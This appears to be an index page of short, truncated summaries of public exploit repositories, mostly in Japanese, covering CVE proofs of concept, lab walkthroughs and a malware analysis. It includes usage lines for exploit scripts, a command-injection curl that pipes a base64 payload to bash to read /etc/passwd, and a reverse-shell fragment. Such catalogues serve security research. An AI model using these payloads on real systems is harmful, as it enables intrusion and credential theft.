MASS-CVE-2024-27956

MASS-CVE-2024-27956-RCE CVE-2024-27956のPoCです。ValvePress AutomaticプラグインにおけるSQLインジェクションです。このPoCは脆弱性を悪用して、ターゲットにユーザーを作成し、管理者権限を付与します。WordPressで管理者になることで、リモートコード実行が可能になります。 使用方法 root@kitploit: git clone https://github.com/itzheartzz/MASS-CVE-2024-27956/ cd MASS-CVE-2024-27956 python3 exploit.py list....

CVE-2022-30525

CVE-2022-30525 Zyxel ファイアウォールの未認証リモートコマンドインジェクションの脆弱性 影響を受けるコンポーネント USG FLEX 100, 100W, 200, 500, 700 USG20-VPN, USG20W-VPN ATP 100, 200, 500, 700, 800 ファームウェアバージョン ZLD5.00 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch help root@kitploit: root@localhost...

cve-2022-26134

Atlassian Confluence OGNL Injection POC 脆弱性 CVE-2022-26134 任意コード実行 使い方: pip3 install termcolor python3 exploit.py http://example.com ドキュメント : https://blog.qualys.com/vulnerabilities-threat-research/2022/06/29/atlassian-confluence-ognl-injection-remote-code-execution-rce-vulnerability-cve-2022-261...

Fastgate

TL;DR これは、Fastweb の Fastgate モデム/ルーターと Ghidra を使って遊んでいる際に発見した脆弱性 CVE-2019-12489 の簡単な報告書です。 この脆弱性により、HTTP リクエストを介してコマンドインジェクションが実行可能となり、SSH シェルを有効化するために使用できます。 ファームウェアの収集と展開 すべてのファームウェアファイルは http://59.0.121.191:8080/ACS-server/file/FILENAME にあります。 FILENAME は以下に等しい: 0.00.89FW200Askey...

metasploitable2-exploitation-metasploit

Exploiting Metasploitable2 with Metasploit: VSFTPD, Samba, and More Metasploit Framework を用いた実践的な攻略手順 — PostgreSQL データベースのセットアップ、dbnmap スキャン、vsftpd・Samba・UnrealIRCd による 3 つの root シェル、Netcat を使った認証情報の流出までを解説します。 概要 このリポジトリは、隔離された VirtualBox ラボ内の Metasploitable2 に対する Metasploit...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+-------------...

CVE-2008-5416

CVE-2008-5416 Microsoft SQL Server の spreplwritetovarbin における SQL インジェクションを介したメモリ破損 未文書化の拡張ストアドプロシージャ "spreplwritetovarbin" を呼び出すと、ヒープベースのバッファオーバーフローが発生する可能性があります。この脆弱性は、MS09-004 で提供された更新プログラムを適用していない、Microsoft SQL Server 2000 および 2005、Windows Internal Database、Microsoft Desktop Engine MSDE...

spring-boot-log4j-cve-2021-44228-docker-lab

Spring Boot Log4j - CVE-2021-44228 Log4Shell 脆弱性 CVE-2021-44228 は、最終的には非常に単純な JNDI インジェクションの欠陥ですが、非常に非常に悪い場所にあります。Log4J は、ログメッセージ内のプレースホルダーを展開する際（またはフォーマットメッセージのパラメーターとして間接的に）JNDI lookup を実行します。...続きを読む PSA: Log4Shell と JNDI インジェクションの現状。 Dockerラボのセットアップ 注: この Dockerfile は元々 Log4Shell sample...

CVE-2026-97863

The ciscofiresightmanagerACLruleexport module in misp-modules generates a shell script .sh that authenticates to and calls the Cisco fireSIGHT Manager API. The module interpolates configuration values IP address, login, password, domain ID, policy ID and MISP attribute values destination IPs, URL...

ninjasworkout

취약한 NodeJS 애플리케이션 빠른 시작 root@kitploit: Download the Repo = run npm i 모든 의존성을 설치한 후 다음을 실행하세요 root@kitploit: node app.js or nodemon app.js 추가된 취약점 프로토타입 오염 ✅1 NoSQL 인젝션 ✅2 크로스 사이트 스크립팅 ✅3 취약한 접근 제어 ✅4 취약한 세션 관리 ✅5 취약한 정규 표현식 구현 ✅ 6 경쟁 조건 ✅7 CSRF - 교차 사이트 요청 위조 ✅8 취약한 무차별 대입 공격 방어 ✅9 사용자 열거 ✅10...

Magento-ver.-2.4.6

エクスプロイトタイトル: FireBear Studio Improved Import & Export ver. 3.8.6 for Magento 2.4.6 - XSLT Server Side Injection 日付: 2023-11-17 エクスプロイト作者: tmrswrr ベンダーホームページ: FireBear Studio ソフトウェアリンク: FireBear Studio Improved Import & Export バージョン: FireBear Improved Import & Export ver. 3.8.6 PoC 1...

CVE-2023-33782

CVE-2023-33782 説明 D-Link DIR-842V2 v1.0.3 には、iperf3 診断機能にコマンドインジェクションの脆弱性が存在することが発見されました。 概念実証...

confluence-ognl-rce

CVE-2022-26134 - Atlassian Confluence OGNL RCE このスクリプトは、Confluence Data Center および Server における OGNL インジェクションを利用した認証不要のリモートコード実行エクスプロイトプリミティブ CVE-2022-26314 のラッパーです。 ベンダーアドバイザリ 元々は PoC jbaines-r7/throughthewire に触発されて作成されました。 利便性のために以下の機能を追加しました: RCE コマンドの base64 エンコード -c @/path/to/file...

Agent-Tesla-APC-Injection-Token-Manipulation-Registry-Persistence-Analysis

1. ネイティブAPI＆APCインジェクション x64dbgメモリダンプから、Agent Teslaが低レベル操作にネイティブAPI（NT API）呼び出しを使用し、APC（非同期プロシージャコール）インジェクション を含むことが明らかになりました。 確認された主要関数: NtQueueApcThread – APCを介して対象スレッドにコードを注入します。 NtReadVirtualMemory – 他のプロセスのメモリを読み取ります。 NtQuerySystemInformation – システム情報を収集します。 NtCreateThreadEx （存在する可能性が高い）–...

CVE-2022-29337

CVE-2022-29337 C-DATA FD702XW-X-R430 v2.1.13X001 には、formlanipv6 の vacmd パラメータを介したコマンドインジェクションの脆弱性が存在することが判明しました。この脆弱性により、攻撃者は細工されたHTTPリクエストを介して任意のコマンドを実行できます。...

CVE-2023-23333

概要: SolarView Compact 6.00 以前には、downloader.php を介して内部制限を回避し、コマンドを実行できるコマンドインジェクションの脆弱性があります。 ベンダー: SolarView Compact 影響を受ける製品: SolarView Compact バージョン: SolarView Compact =ver 6.00 PoC: curl http://example.com/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d|bash%00.zip | grep...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL을 통해 굵게 표시된 값 수정: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2022-24124

はじめに Casdoorは、OAuth 2.0/OIDCに基づいた集中型シングルサインオン（SSO）認証プラットフォームです。 識別番号 CVE番号：CVE-2022-24124 CNPD番号：CNPD-202201-7304 影響を受けるバージョン 危険レベル：高 7.5 HIGH POC/EXP：公開済み Casdoor Casdoor 1.13.1 //1.13.1より前のバージョンが影響を受けます 脆弱性の概要...

CVE-2019-14314

CVE-2019-14314 CVE-2019-14314 - NextGEN Gallery 3.2.10 认证SQL注入 用法 root@kitploit: usage: cve201914314.py -h url loginuser loginpass username CVE-2019-14314 Hash Extractor positional arguments: url Wordpress blog URL loginuser Username to login with loginpass Password to login with username Usernam...

PwnKit

PwnKit このリポジトリには、Polkit Pkexec の脆弱性 CVE-2021-4034 Pkexec Local Privilege Escalation の仕組みを理解するために開発したエクスプロイトが含まれています。Polkit 旧称 PolicyKit は、Unix 系オペレーティングシステムで特権を制御する役割を持つコンポーネントです。特権を持たないプロセスが、特権を持つプロセスと通信するための整理された手段を提供します。この脆弱性により、システムの一般ユーザーなど、管理特権を持たない任意のユーザーが、システム上で最大の特権を獲得できます。 この脆弱性は、pkexec...